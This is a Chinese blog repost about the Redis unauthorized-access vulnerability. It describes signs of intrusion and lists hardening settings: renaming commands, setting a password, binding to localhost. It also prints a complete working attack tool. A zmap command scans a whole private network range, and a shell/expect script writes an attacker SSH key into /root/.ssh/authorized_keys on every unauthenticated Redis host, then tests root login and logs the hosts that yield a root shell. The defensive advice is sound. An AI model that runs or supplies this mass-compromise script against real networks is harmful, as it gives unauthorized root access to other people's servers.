天下之事,必先处之难,而后易之。

Redis安全配置漏洞防范:设置访问密码尽量不通过远程地址访问

原文地址: https://ruby-china.org/topics/28094

  • Redis为了访问效率建议内网部署访问
  • Redis远程时需设置安全密码访问
  • Redis远程时必须考虑网络延迟导致连接失败,需要调大设置超时时间

一、前言

前段时间,在做内网影响程度评估的时候写了扫描利用小脚本, 扫描后统计发现,内网中60%开放了redis6379端口的主机处于可以被利用的危险状态,因为都是一些默认配置造成的 考虑到本社区大部分开发者都会使用redis,特此分享下以便大家可以对自己公司的内网进行一个排查。

二、漏洞介绍

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

入侵特征:

  1. Redis 可能执行过 FLUSHALL 方法,整个 Redis 数据库被清空
  2. 在 Redis 数据库中新建了一个名为 crackit(网上流传的命令指令) 的键值对,内容为一个 SSH 公钥。
  3. 在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件,内容为 Redis 生成的 db 文件,包含上述公钥

三、修复建议

1.禁止一些高危命令

修改 redis.conf 文件,添加(可以自定义命令名称)

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

3.为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改

bind 127.0.0.1

使得 Redis 服务只在当前主机可用

四、扫描工具

1 使用说明

#以Ubuntu为例
su

# Requirements
apt-get install redis-server expect zmap

git clone https://github.com/qingxp9/yyfexploit
cd yyfexploit/redis

# 扫描6379端口
# 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉
zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt

# Usage
./redis.sh ip.txt

最后,将会生成几个txt文件记录结果 其中: runasroot.txt 表示redis无认证,且以root运行 noauth.txt 表示redis无认证,但以普通用户运行 rootshell.txt 已写入公钥,可直接以证书登录root用户

像这样:

ssh -i id_rsa root@x.x.x.x

2 工具源代码

就贴下代码吧,各位大牛请在家长陪同下观看

#!/bin/sh
 if [ $# -eq 1  ]
 then
   ip_list=$1

   ##create id_rsa
   echo "****************************************Create id_rsa file"

   expect -c "
     spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
     expect {
         \"*passphrase): \" {
             exp_send \"\r\"
             exp_continue
         }
         \"*again: \" {
             exp_send \"\r\"
         }
         \"*y/n)? \" {
             exp_send \"n\r\"
         }
     }
     expect eof
   "

   echo "\n\n****************************************Attack Targets"
   touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
   i=0
   cat $ip_list | while read ip
   do
     i=`expr $i + 1`;
     #write id_rsa.pub to remote
     echo "*****${i}***connect to remote ${ip} redis "

     expect -c "
       set timeout 3
       spawn redis-cli -h $ip config set dir /root/.ssh/
       expect {
         \"OK\"                        { exit 0 }
         \"ERR Changing directory: Permission denied\"         { exit 1 }
         timeout                       { exit 2 }
         \"(error) NOAUTH Authentication required\"         { exit 3 }
       }
     "

     case $? in
         0)  echo "run redis as root"
             echo $ip >> noauth.txt
             echo $ip >> runasroot.txt
         ;;
         1)  echo "not run redis as root\n\n\n"
             echo $ip >> noauth.txt
             continue
         ;;
         2)  echo "connect timeout\n\n\n"
             continue
         ;;
         3)  echo "Have Auth\n\n\n"
             echo $ip >> haveauth.txt
             continue
         ;;
     esac

     (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
     cat foo.txt | redis-cli -h $ip -x set 1
     redis-cli -h $ip config set dir /root/.ssh/
     redis-cli -h $ip config set dbfilename "authorized_keys"
     redis-cli save

     #login test
     echo "#try to login"
     expect -c "
       set timeout 5
       spawn ssh -i id_rsa root@$ip echo \"yyf\"
       expect {
         \"*yes/no\"     { send \"yes\n\"}

         \"*password\"   { send \"\003\"; exit 1 }
         \"yyf\"         { exit 0 }
         timeout         { exit 2 }
       }
       exit 4
     "

     exitcode=$?

     if [ $exitcode -eq 0 ]
     then
       echo "---------------${ip} is get root shell"
       echo $ip >> rootshell.txt
     fi

     echo "\n\n\n"
   done

   echo "##########Final Count##########"
   wc -l $ip_list
   echo "----------"
   wc -l noauth.txt
   wc -l runasroot.txt
   wc -l rootshell.txt
   echo "----------"
   wc -l haveauth.txt

 else
   echo "usage: ./redis.sh ip.txt"
 fi

五、相关参考

  1. http://zone.wooyun.org/content/23858
  2. https://blog.islandzero.net/2015/11/11/redis-crackit/
  3. http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

附录问题:

redis.clients.jedis.exceptions.JedisConnectionException: Could not get a resource from the pool,此问题可以通过检查密码和远程访问等是否通畅。

posted @   boonya  阅读(44)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
历史上的今天:
2023-10-08 Android字母导航示例
2022-10-08 服务安全:如何保证服务器不断电数据不丢失?
2013-10-08 OpenLayers实现覆盖物选择信息提示
我有佳人隔窗而居,今有伊人明月之畔。
轻歌柔情冰壶之浣,涓涓清流梦入云端。
美人如娇温雅悠婉,目遇赏阅适而自欣。
百草层叠疏而有致,此情此思怀彼佳人。
念所思之唯心叩之,踽踽彳亍寤寐思之。
行云如风逝而复归,佳人一去莫知可回?
深闺冷瘦独自徘徊,处处明灯影还如只。
推窗见月疑是归人,阑珊灯火托手思忖。
庐居闲客而好品茗,斟茶徐徐漫漫生烟。

我有佳人在水之畔,瓮载渔舟浣纱归还。
明月相照月色还低,浅近芦苇深深如钿。
庐山秋月如美人衣,画堂春阁香气靡靡。
秋意幽笃残粉摇曳,轻轻如诉画中蝴蝶。
泾水潺潺取尔浇园,暮色黄昏如沐佳人。
青丝撩弄长裙翩翩,彩蝶飞舞执子手腕。
香带丝缕缓缓在肩,柔美体肤寸寸爱怜。
如水之殇美玉成欢,我有佳人清新如兰。
伊人在水我在一边,远远相望不可亵玩。

点击右上角即可分享
微信分享提示